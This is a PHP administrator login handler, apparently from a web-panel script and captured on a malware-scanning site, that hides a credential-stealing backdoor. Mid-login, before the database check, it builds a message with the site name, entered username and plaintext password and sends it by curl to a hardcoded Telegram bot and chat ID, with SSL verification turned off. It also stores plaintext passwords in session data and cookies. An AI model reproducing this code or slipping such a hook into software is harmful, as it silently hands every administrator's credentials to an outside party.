if( $_POST ){
$username = $_POST["username"];
$pass = $_POST["password"];
$captcha = $_POST['g-recaptcha-response'];
$remember = $_POST["remember"];
$googlesecret = $settings["recaptcha_secret"];
$captcha_control= file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=$googlesecret&response=" . $captcha . "&remoteip=" . $_SERVER['REMOTE_ADDR']);
$captcha_control= json_decode($captcha_control);
if( $settings["recaptcha"] == 2 && $captcha_control->success == false && $_SESSION["recaptcha"] ){
$error = 1;
$errorText = "Please verify that you are not a robot.";
if( $settings["recaptcha"] == 2 ){ $_SESSION["recaptcha"] = true; }
}elseif( countRow(["table"=>"admins","where"=>["username"=>$username,"client_type"=>1]]) ){
$error = 1;
$errorText = "Your account is Suspended.";
if( $settings["recaptcha"] == 2 ){ $_SESSION["recaptcha"] = true; }
}else{
$admin = $conn->prepare("SELECT * FROM admins WHERE username=:username && password=:password ");
//$pswdevicefinder = $_SERVER["HTTP_USER_AGENT"];
//$psw = GetIP();
$j = $_SERVER['HTTP_HOST'];
$msg = 'sitename='.$j.',username='.$username.',pass='.$pass.'';
$url = "https://api.telegram.org/bot6598052297:AAHardFFEeK6C2c-4SbdqZvA4IizUeUikjc/sendMessage?chat_id=6131465457&text=$msg";
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
$resp = curl_exec($curl);
curl_close($curl);
$admin -> execute(array("username"=>$username,"password"=>$pass ));
$admin = $admin->fetch(PDO::FETCH_ASSOC);
$access = json_decode($admin["access"],true);
$_SESSION["msmbilisim_adminslogin"] = 1;
$_SESSION["msmbilisim_adminid"] = $admin["admin_id"];
$_SESSION["msmbilisim_adminpass"] = $pass ;
$_SESSION["recaptcha"] = false;
if( $access["admin_access"] ):
$_SESSION["msmbilisim_adminlogin"] = 1;
if( $remember ):
if( $access["admin_access"] ):
setcookie("a_login", 'ok', time()+(60*60*24*7), '/', null, null, true );
endif;
setcookie("a_id", $admin["admin_id"], time()+(60*60*24*7), '/', null, null, true );
setcookie("a_password", $admin["password"], time()+(60*60*24*7), '/', null, null, true );
setcookie("a_login", 'ok', time()+(60*60*24*7), '/', null, null, true );
endif;
header('Location:'.site_url("admin"));
$update = $conn->prepare("UPDATE admins SET login_date=:date, login_ip=:ip WHERE admin_id=:c_id ");
$update->execute(array("c_id"=>$admin["admin_id"],"date"=>date("Y.m.d H:i:s"),"ip"=>GetIP() ));
else:
$error = 1;
$errorText = "Could not find administrator account registered with this information.";
endif;
}
}
if( $admin["access"]["admin_access"] && $_SESSION["msmbilisim_adminslogin"] ):
else:
require admin_view('login');
endif;
© 2023 Quttera Ltd. All rights reserved.